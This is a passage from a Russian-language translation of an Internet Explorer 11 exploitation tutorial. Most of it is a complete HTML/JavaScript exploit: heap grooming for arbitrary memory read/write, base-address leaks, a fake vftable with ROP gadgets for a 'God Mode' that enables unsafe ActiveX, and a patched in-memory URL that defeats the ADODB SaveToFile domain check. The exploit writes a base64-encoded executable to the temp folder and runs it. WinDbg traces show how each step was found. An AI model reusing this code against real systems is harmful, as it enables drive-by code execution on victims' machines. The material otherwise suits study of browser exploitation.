for (i = 0x200; i < 0x200 + 0x400; ++i) {
if (a[i][0x3bf7] != 0) {
leakArray = a[i];
break;
}
}
if (leakArray == 0) {
alert("Can't find leakArray!");
window.location.reload();
return;
}
function get_addr(obj) {
leakArray[0x3bf7] = obj;
return read(0x0c0af000-4, obj);
}
// Back to determining the base address of MSHTML...
// Here's the beginning of the element div:
// +----- jscript9!Projection::ArrayObjectInstance::`vftable'
// v
// 70792248 0c012b40 00000000 00000003
// 73b38b9a 00000000 00574230 00000000
// ^
// +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
var addr = get_addr(document.createElement("div"));
mshtml = read(addr + 0x10) - 0x58b9a;
// vftable
// +-----> +------------------+
// | | |
// | | |
// | 0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
// | | | MOV EAX,ESI | POP ESI | RETN"
// | 0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
// | +------------------+
// object |
// EAX ---> +-------------------+ |
// | vftptr |-----+
// | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
// | jscript9+0xf3baf | --> "XCHG EAX,EDI | RETN"
// | jscript9+0xdc361 | --> "LEAVE | RET 4"
// +-------------------+
var old = read(mshtml+0xc555e0+0x14);
write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God Mode On!
var shell = new ActiveXObject("WScript.shell");
write(mshtml+0xc555e0+0x14, old); // God Mode Off!
addr = get_addr(ActiveXObject);
var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0; // ptr to ptr to object
var old_objptr = read(pp_obj);
var old_vftptr = read(old_objptr);
// Create the new vftable.
var new_vftable = new Int32Array(0x708/4);
for (var i = 0; i < new_vftable.length; ++i)
new_vftable[i] = read(old_vftptr + i*4);
new_vftable[0x10/4] = jscript9+0x10705e;
new_vftable[0x14/4] = jscript9+0xdc164;
var new_vftptr = read(get_addr(new_vftable) + 0x1c); // ptr to raw buffer of new_vftable
// Create the new object.
var new_object = new Int32Array(4);
new_object[0] = new_vftptr;
new_object[1] = jscript9 + 0x15f800;
new_object[2] = jscript9 + 0xf3baf;
new_object[3] = jscript9 + 0xdc361;
var new_objptr = read(get_addr(new_object) + 0x1c); // ptr to raw buffer of new_object
function GodModeOn() {
write(pp_obj, new_objptr);
}
function GodModeOff() {
write(pp_obj, old_objptr);
}
// content of exe file encoded in base64.
runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
tStream.Close();
bStream.Close();
}
function decode(b64Data) {
var data = window.atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
createExe(fname, decode(runcalc));
shell.Exec(fname);
alert("All done!");
})();
</script>
</head>
<body>
</body>
</html>
Я сократил runcalc. Полный код можно скачать отсюда.
Если вы откроете html файл в IE используя SimpleServer – всё должно работать. Но если перейти по адресу 127.0.0.1 в IE, работать не будет. Мы уже видели эту ошибку раньше:
Пересекающиеся домены
Строка кода которая выкидывает ошибку подсвечена в коде:
Code:
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
bStream.SaveToFile(fname, 2); <----------------------------- ошибка здесь!
tStream.Close();
bStream.Close();
}
Сообщение об ошибке такое «SCRIPT3716: Safety settings on this computer prohibit accessing a data source on another domain. (Настройки безопасности на этой компьютере запрещают получать доступ к источникам данных на другом домене)».
Так что давайте перезагрузим html страницу используя SimpleServer, изменим длину массива Int32Array и дадим коду выкинуть ошибку. Мы знаем что были загружены дополнительные модули:
Code:
ModLoad: 0eb50000 0eb71000 C:\Windows\SysWOW64\wshom.ocx
ModLoad: 749d0000 749e2000 C:\Windows\SysWOW64\MPR.dll
ModLoad: 0eb80000 0ebaa000 C:\Windows\SysWOW64\ScrRun.dll
ModLoad: 0ebb0000 0ec0f000 C:\Windows\SysWOW64\SXS.DLL
ModLoad: 6e330000 6e429000 C:\Program Files (x86)\Common Files\System\ado\msado15.dll <-------------
ModLoad: 72f00000 72f1f000 C:\Windows\SysWOW64\MSDART.DLL
ModLoad: 6e570000 6e644000 C:\Program Files (x86)\Common Files\System\Ole DB\oledb32.dll
ModLoad: 74700000 74717000 C:\Windows\SysWOW64\bcrypt.dll
ModLoad: 72150000 72164000 C:\Program Files (x86)\Common Files\System\Ole DB\OLEDB32R.DLL
ModLoad: 738c0000 738c2000 C:\Program Files (x86)\Common Files\System\ado\msader15.dll <-------------
(15bc.398): C++ EH exception - code e06d7363 (first chance)
(15bc.398): C++ EH exception - code e06d7363 (first chance)
Два модуля на вид довольно интересные: msado15.dll и msader15.dll. Они размещены в директории ado. Не надо быть гением что бы понять то, что это из ADODB.
Посмотрим, сможем ли найти функцию по имени SaveToFile в одном из тех модулей:
Code:
0:004> x msad*!*savetofile*
6e3e9ded msado15!CStream::SaveToFile (<no parameter info>)
6e3ccf19 msado15!CRecordset::SaveToFile (<no parameter info>)
Первая кажется тем, что мы ищем. Поставим точку останова на неё и перезагрузим страницу. Как и ожидалось, выполнение прерывается на msado15!CStream::SaveToFile. Имя функции предпологает что модуль написан на С++ и функция SaveToFile это метод класса CStream. ESI должен указывать на объект класса:
Code:
0:007> dd esi
0edbb328 6e36fd28 6e36fd00 6e36fcf0 6e33acd8
0edbb338 00000004 00000000 00000000 00000000
0edbb348 00000000 00000000 00000000 6e36fce0
0edbb358 6e33acc0 6e36fccc 00000000 00000904
0edbb368 00000001 04e4c2bc 00000000 6e36fc94
0edbb378 0edbb3b8 00000000 0edbb490 00000000
0edbb388 00000001 ffffffff 00000000 00000000
0edbb398 00000007 000004b0 00000000 00000000
0:007> ln poi(esi)
(6e36fd28) msado15!ATL::CComObject<CStream>::`vftable' | (6e36fdb8) msado15!`CStream::_GetEntries'::`2'::_entries
Exact matches:
msado15!ATL::CComObject<CStream>::`vftable' = <no type information>
ОК, кажется мы на верном пути.
Теперь давайте пройдемся по функции SaveToFile что бы понять что вызывает падение. На протяжении нашей трассировки мы попадаем на очень интересный вызов:
Code:
6e3ea0a9 0f8496000000 je msado15!CStream::SaveToFile+0x358 (6e3ea145)
6e3ea0af 50 push eax
6e3ea0b0 53 push ebx
6e3ea0b1 e88f940000 call msado15!SecurityCheck (6e3f3545) <-------------------
6e3ea0b6 83c408 add esp,8
6e3ea0b9 85c0 test eax,eax
6e3ea0bb 0f8d84000000 jge msado15!CStream::SaveToFile+0x358 (6e3ea145)
Функция SecurityCheck принимает два параметра. Начнем с изучения первого:
Code:
0:007> dd eax
04e4c2bc 00740068 00700074 002f003a 0031002f
04e4c2cc 00370032 0030002e 0030002e 0031002e
04e4c2dc 0000002f 00650067 00000000 6ff81c09
04e4c2ec 8c000000 000000e4 00000000 00000000
04e4c2fc 0024d46c 0024d46c 0024cff4 00000013
04e4c30c 00000000 0000ffff 0c000001 00000000
04e4c31c 00000000 6ff81c30 88000000 00000001
04e4c32c 0024eee4 00000000 6d74682f 61202c6c
Ммм… выглядит как Unicode строка. Посмотрим правы ли мы:
Code:
0:007> du eax
04e4c2bc "http://127.0.0.1/"
Это URL страницы! Как насчет EBX? Посмотрим:
Code:
0:007> dd ebx
001d30c4 003a0043 0055005c 00650073 00730072
001d30d4 0067005c 006e0061 00610064 0066006c
001d30e4 0041005c 00700070 00610044 00610074
001d30f4 004c005c 0063006f 006c0061 0054005c
001d3104 006d0065 005c0070 006f004c 005c0077
001d3114 00750072 0063006e 006c0061 002e0063
001d3124 00780065 00000065 00000000 00000000
001d3134 40080008 00000101 0075006f 00630072
0:007> du ebx
001d30c4 "C:\Users\gandalf\AppData\Local\T"
001d3104 "emp\Low\runcalc.exe"
Это полный путь файла которого мы пытаемся создать. Возможно ли то, что эти два URL/пути относятка к ошибке доменов которую мы встретили? Возможно эти два домена это http://127.0.0.1/ и C:\.
Возможно, SecurityCheck проверяет указывают ли два аргумент на тот же домен?
Посмотрим что произойдет если мы изменим первый параметр:
Code:
0:007> ezu @eax "C:\\"
0:007> du @eax
04e4c2bc "C:\"
Команда ezu используется для (e)dit a (z)ero-terminated (u)nicode string (редактирование строк оканчивающихся на нуль-терминальный символ). Теперь, когда мы изменили второй аргумент, давайте продолжим выполнение и посмотрим что случится.
Калькулятор появился!!! Ура!!!
Теперь нам надо метод что бы сделать это из javascipt. Это возможно? Лучший путь это выяснить – дизассемблировать msado15.dll с помощью IDA. Перейдя в IDA, начните поиск функции SecurityCheck (CTRL+P и клик на Search), далее клик на сигнатуре функции, нажимаем Ctrl + X и двойной клик на CStream::SaveToFile.
Фукнция SaveToFile большая, но не стоит переживать из-за этого. Нам надо просто проанализировать малую её часть. Давайте начнем следую второму аргументу:
Как видим, EAX приходит из [ESI+44h]. ESI должен быть указателем this, который указывает на текущий объект CStream, но давайте убедимся в этом. Для того что бы проанализировать граф более конфортно, мы можем группировать узлы. Зумить можно по Ctrl и прокручивая колесо мыши. Вот уменьшенный граф после манипуляций:
Теперь очевидно что ESI это действительно указатель this. Это хорошо, потому что переменная bStream в нашем javascript возможно указывает на тот же объект. Посмотрим правы ли мы. Измени немного код что бы слить переменную:
Code:
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
alert(get_addr(bStream).toString(16)); // <-----------------------------
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
tStream.Close();
bStream.Close();
}
Загрузите страницу в IE используя SimpleServer и в WinDbg установим точку останова на SaveToFile:
Code:
bm msado15!CStream::SaveToFile
Окно с информацией выскочит с адресом bStream. В моем случае адресом будет 3663f40h. После того как закроем окно, сработает точка останова. Адрес CStream это ESI, который в моем случае 0e8cb328h. Изучим память по адресу 3663f40h (наш bStream):
Code:
0:007> dd 3663f40h
03663f40 71bb34c8 0e069a00 00000000 0e5db030
03663f50 05a30f50 03663f14 032fafd4 00000000
03663f60 71c69a44 00000008 00000009 00000000
03663f70 0e8cb248 00000000 00000000 00000000
03663f80 71c69a44 00000008 00000009 00000000
03663f90 0e8cb328 00000000 00000000 00000000 <------------- указатель на CStream!
03663fa0 71c69a44 00000008 00000009 00000000
03663fb0 0e8cb248 00000000 00000000 00000000
Мы видим что по смещению 0x50 у нас указатель на объект CStream чей метод SaveToFile вызван в msado15.dll. Посмотрем сможем ли мы получить строку http://127.0.0.1, которую мы бы хотели модифицировать:
Code:
0:007> ? poi(3663f40+50)
Evaluate expression: 244101928 = 0e8cb328
0:007> du poi(0e8cb328+44)
04e5ff14 "http://127.0.0.1/"
Замечательно!
Теперь мы должны определить точное количество байт для их перезаписи оригинальной строкой. Вот легкий путь для этого:
Code:
0:007> ezu 04e5ff14 "C:\\"
0:007> dd 04e5ff14
04e5ff14 003a0043 0000005c 002f003a 0031002f
04e5ff24 00370032 0030002e 0030002e 0031002e
04e5ff34 0000002f 00000000 00000000 58e7b7b9
04e5ff44 8e000000 00000000 bf26faff 001a8001
04e5ff54 00784700 00440041 0044004f 002e0042
04e5ff64 00740053 00650072 006d0061 df6c0000
04e5ff74 0000027d 58e7b7be 8c000000 00000000
04e5ff84 00c6d95d 001c8001 00784300 00530057
Надо перезаписать строкой, содержимое которой «003a0043 0000005c».
Измените код как показано ниже:
Code:
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
var bStream_addr = get_addr(bStream);
var string_addr = read(read(bStream_addr + 0x50) + 0x44);
write(string_addr, 0x003a0043); // 'C:'
write(string_addr + 4, 0x0000005c); // '\'
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
tStream.Close();
bStream.Close();
}
Загрузите страницу в IE и, наконец, всё работает отлично.
Вот код польностью для удобства:
Code:
<html>
<head>
<script language="javascript">
(function() {
alert("Starting!");
CollectGarbage();
//-----------------------------------------------------
// From one-byte-write to full process space read/write
//-----------------------------------------------------
a = new Array();
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte ArrayBuffer (buf)
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
for (i = 0; i < 0x300; ++i) {
a[i] = new Array(0x3c00);
if (i == 0x100)
buf = new ArrayBuffer(0x58); // must be exactly 0x58!
for (j = 0; j < a[i].length; ++j)
a[i][j] = 0x123;
}
// 0x0: ArrayDataHead
// 0x20: array[0] address
// 0x24: array[1] address
// ...
// 0xf000: Int32Array
// 0xf030: Int32Array
// ...
// 0xffc0: Int32Array
// 0xfff0: align data
for (; i < 0x300 + 0x400; ++i) {
a[i] = new Array(0x3bf8)
for (j = 0; j < 0x55; ++j)
a[i][j] = new Int32Array(buf)
}
// vftptr
// 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
// 0c0af020: 03133de0 array_len buf_addr
// jsArrayBuf
alert("Set byte at 0c0af01b to 0x20");
// Now let's find the Int32Array whose length we modified.
int32array = 0;
for (i = 0x300; i < 0x300 + 0x400; ++i) {
for (j = 0; j < 0x55; ++j) {
if (a[i][j].length != 0x58/4) {
int32array = a[i][j];
break;
}
}
if (int32array != 0)
break;
}
if (int32array == 0) {
alert("Can't find int32array!");
window.location.reload();
return;
}
// This is just an example.
// The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
// The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
// The value in parentheses, at 03c1f178+0x60+0x24, points to the following
// LargeHeapBlock.
//
// 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
// 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
// 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
// 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
// 03c1f238: ...
// We check that the structure above is correct (we check the first LargeHeapBlocks).
// 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
var vftptr1 = int32array[0x60/4],
vftptr2 = int32array[0x60*2/4],
vftptr3 = int32array[0x60*3/4],
nextPtr1 = int32array[(0x60+0x24)/4],
nextPtr2 = int32array[(0x60*2+0x24)/4],
nextPtr3 = int32array[(0x60*3+0x24)/4];
if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
alert("Error!");
window.location.reload();
return;
}
buf_addr = nextPtr1 - 0x60*2;
// Now we modify int32array again to gain full address space read/write access.
if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
alert("Error!");
window.location.reload();
return;
}
int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000; // new length
int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0; // new buffer address
function read(address) {
var k = address & 3;
if (k == 0) {
// ####
return int32array[address/4];
}
else {
alert("to debug");
// .### #... or ..## ##.. or ...# ###.
return (int32array[(address-k)/4] >> k*8) |
(int32array[(address-k+4)/4] << (32 - k*8));
}
}
function write(address, value) {
var k = address & 3;
if (k == 0) {
// ####
int32array[address/4] = value;
}
else {
// .### #... or ..## ##.. or ...# ###.
alert("to debug");
var low = int32array[(address-k)/4];
var high = int32array[(address-k+4)/4];
var mask = (1 << k*8) - 1; // 0xff or 0xffff or 0xffffff
low = (low & mask) | (value << k*8);
high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
int32array[(address-k)/4] = low;
int32array[(address-k+4)/4] = high;
}
}
//---------
// God mode
//---------
// At 0c0af000 we can read the vfptr of an Int32Array:
// jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
jscript9 = read(0x0c0af000) - 0x3b60;
// Now we need to determine the base address of MSHTML. We can create an HTML
// object and write its reference to the address 0x0c0af000-4 which corresponds
// to the last element of one of our arrays.
// Let's find the array at 0x0c0af000-4.
for (i = 0x200; i < 0x200 + 0x400; ++i)
a[i][0x3bf7] = 0;
// We write 3 in the last position of one of our arrays. IE encodes the number x
// as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
// Either we use an odd number or a valid address otherwise IE will crash in the
// following for loop.
write(0x0c0af000-4, 3);
leakArray = 0;
for (i = 0x200; i < 0x200 + 0x400; ++i) {
if (a[i][0x3bf7] != 0) {
leakArray = a[i];
break;
}
}
if (leakArray == 0) {
alert("Can't find leakArray!");
window.location.reload();
return;
}
function get_addr(obj) {
leakArray[0x3bf7] = obj;
return read(0x0c0af000-4, obj);
}
// Back to determining the base address of MSHTML...
// Here's the beginning of the element div:
// +----- jscript9!Projection::ArrayObjectInstance::`vftable'
// v
// 70792248 0c012b40 00000000 00000003
// 73b38b9a 00000000 00574230 00000000
// ^
// +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
var addr = get_addr(document.createElement("div"));
mshtml = read(addr + 0x10) - 0x58b9a;
// vftable
// +-----> +------------------+
// | | |
// | | |
// | 0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
// | | | MOV EAX,ESI | POP ESI | RETN"
// | 0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
// | +------------------+
// object |
// EAX ---> +-------------------+ |
// | vftptr |-----+
// | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
// | jscript9+0xf3baf | --> "XCHG EAX,EDI | RETN"
// | jscript9+0xdc361 | --> "LEAVE | RET 4"
// +-------------------+
var old = read(mshtml+0xc555e0+0x14);
write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God Mode On!
var shell = new ActiveXObject("WScript.shell");
write(mshtml+0xc555e0+0x14, old); // God Mode Off!
addr = get_addr(ActiveXObject);
var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0; // ptr to ptr to object
var old_objptr = read(pp_obj);
var old_vftptr = read(old_objptr);
// Create the new vftable.
var new_vftable = new Int32Array(0x708/4);
for (var i = 0; i < new_vftable.length; ++i)
new_vftable[i] = read(old_vftptr + i*4);
new_vftable[0x10/4] = jscript9+0x10705e;
new_vftable[0x14/4] = jscript9+0xdc164;
var new_vftptr = read(get_addr(new_vftable) + 0x1c); // ptr to raw buffer of new_vftable
// Create the new object.
var new_object = new Int32Array(4);
new_object[0] = new_vftptr;
new_object[1] = jscript9 + 0x15f800;
new_object[2] = jscript9 + 0xf3baf;
new_object[3] = jscript9 + 0xdc361;
var new_objptr = read(get_addr(new_object) + 0x1c); // ptr to raw buffer of new_object
function GodModeOn() {
write(pp_obj, new_objptr);
}
function GodModeOff() {
write(pp_obj, old_objptr);
}
// content of exe file encoded in base64.
runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
var bStream_addr = get_addr(bStream);
var string_addr = read(read(bStream_addr + 0x50) + 0x44);
write(string_addr, 0x003a0043); // 'C:'
write(string_addr + 4, 0x0000005c); // '\'
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
tStream.Close();
bStream.Close();
}
function decode(b64Data) {
var data = window.atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
createExe(fname, decode(runcalc));
shell.Exec(fname);
alert("All done!");
})();
</script>
</head>
<body>
</body>
</html>
Как и прежде, я укоротил runcalc. Вы можете скачать полный вариант отсюда.
© Translated by klaus (r0 Crew)